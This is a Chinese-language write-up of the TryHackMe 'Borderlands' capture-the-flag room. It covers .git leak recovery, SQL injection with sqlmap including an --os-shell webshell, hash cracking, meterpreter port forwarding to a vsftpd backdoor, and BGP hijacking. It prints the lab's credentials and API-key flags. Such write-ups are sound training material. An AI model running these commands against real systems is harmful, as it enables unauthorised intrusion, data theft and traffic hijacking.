0%

THM打靶日寄31-Borderlands

  • 扫描打点

    详细扫也没什么东西,直接看了:

    • 80

      一个登录框,有能下载的 pdf 且登陆进去后能更改内容,不排除是 wkhtmltopdf 的洞

      扫出来有个 info.php(普通的php信息) 和 .git(403)

      这里要涉及到 .git 的目录泄露,可以访问 .git/logs/head 或者 .git/logs/HEAD 来验证一下:

      具体的过程可以参考这篇文章

      这里直接用 git-dumper 或者别的什么工具把文件全下下来

      1
      git-dumper http://10.10.205.100/.git ~

      api.php 找到三个合法的 apikey

      WEBLhvOJAH8d50Z4y5G5 ANDVOWLDLAS5Q8OQZ2tu GITtFi80llzs4TxqMWtC

      对比合法的格式发现少了几位

    • git flag

      HEAD 中发现移除了 /79/c9539b6566b06d6dec2755fdf58f5f9ec8822f 中的敏感文件(前两位是目录):

      把这个下下来

      上面的操作不太规范,以下是正确步骤:

      1
      2
      3
      4
      5
      6
      7
      8
      mkdir repo
      cd repo
      git init
      cd .git/objects
      mkdir 79
      cd 79
      curl -s -X GET http://10.10.205.100/.git/objects/79/c9539b6566b06d6dec2755fdf58f5f9ec8822f -o c9539b6566b06d6dec2755fdf58f5f9ec8822f
      git cat-file -p 79c9539b6566b06d6dec2755fdf58f5f9ec8822f

      然后在 .git/objects 下新建个 51

      tree 那个下下来

      1
      2
      curl -s -X GET http://10.10.205.100/.git/objects/51/d63292792fb7f97728cd3dcaac3ef364f374ba -o d63292792fb7f97728cd3dcaac3ef364f374ba
      git cat-file -p 51d63292792fb7f97728cd3dcaac3ef364f374ba

      看到 api.php 的更改代码是 2229eb414d7945688b90d7cd0a786fd888bcc6a4

      1
      2
      curl -s -X GET http://10.10.205.100/.git/objects/22/29eb414d7945688b90d7cd0a786fd888bcc6a4 -o 29eb414d7945688b90d7cd0a786fd888bcc6a4
      git cat-file -p 2229eb414d7945688b90d7cd0a786fd888bcc6a4

      拿到 GITtFi80llzs4TxqMWtCotiTZpf0HC

    • web flag

      和上面的同理,只不过是在旧的 home.php 中:

      1
      2
      curl -s -X GET http://10.10.205.100/.git/objects/2a/116a56a6e31ef1836796936dbc05af1f986a26 -o 116a56a6e31ef1836796936dbc05af1f986a26
      git cat-file -p 2a116a56a6e31ef1836796936dbc05af1f986a26

      WEBLhvOJAH8d50Z4y5G5g4McG1GMGD

    • And flag

      应该是要逆向了:

      扔到 jadxapikey

      看到是存到了 encrypted_api_key

      apktool 解一下:

      1
      2
      apktool d mobile-app-prototype.apk
      grep -rn 'encrypted_api_key'

      拿到密文 CBQOSTEFZNL5U8LJB2hhBTDvQi2zQo

      现在已知的是前半部分明文与全部的密文:

      1
      2
      ANDVOWLDLAS5Q8OQZ2tu
      CBQOSTEFZNL5U8LJB2hhBTDvQi2zQo

      这个确实想不出来,扔给 gpt 勉强能出是维吉尼亚加密的结论,但解密出不来,不知道答案的话就会被直接忽略了

      根据对应关系,得到密钥 context

      解出来 ANDVOWLDLAS5Q8OQZ2tuIPGcOu2mXk

  • 另一个思路

    有一个更简单的思路,感觉有点太依赖wp了QAQ

    在主页的五个 pdf 中,下下来用 exiftool 看一下作者就能得到billg

    rockyou.txt 硬爆就能出来

  • webshell

    function.php 找到数据库账密 root:CCv4@he2MaHbIP7mB89TNKdei0VZ0Y

    api.php 下面的部分是在数据库里面查 documentid ,但看起来可以注入

    1
    sqlmap -r sql.txt -p documentid --dbs

    1
    sqlmap -r sql.txt -p documentid -D myfirstwebsite --tables

    1
    sqlmap -r sql.txt -p documentid -D myfirstwebsite -T users --dump

    billg:$2y$10$wWeyIzGcD7TVwZ7y7d3UCO5eEssZShTQzBU2yIebvvQQw1y676zVW

    爆出来 billg:potato

    嗯看起来并没有密码复用,这个登不上ssh

    但是登进去之后也没有什么东西

    本来想跟之前一样 sql 注入写马,但一直报错啊嗯

    就懒狗用 sqlmap 写了

    1
    sqlmap -r sql.txt -p documentid --os-shell

    参数是 4;n;4;/var/www/html

    这里已经有后门了,传个 msf 过去好了:

  • 拿路由的 root

    通过图的提示,看一下路由:

    下一个编译好的nmap传上去,扫一下第二张网卡

    1
    ./nmap --open -T5 -v -n -p- 172.16.1.128

    既然有开 21 端口,就做个转发到本地

    1
    2
    <msf>portfwd add -l 21 -p 21 -r 172.16.1.128
    <kali>ftp localhost 21

    看到熟悉的版本号

    这个exp

    再转发一个 6200

    1
    <msf>portfwd add -l 6200 -p 6200 -r 172.16.1.128

  • BGP 劫持

    又是不会的知识点,回头学一下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    vtysh
    router1.ctx.ctf# config terminal
    router1.ctx.ctf(config)# router bgp 60001
    router1.ctx.ctf(config)# network 172.16.2.0/25
    router1.ctx.ctf(config)# network 172.16.3.0/25
    router1.ctx.ctf(config)# end
    router1.ctx.ctf# clear ip bgp *
    exit
    tcpdump -i eth0 -A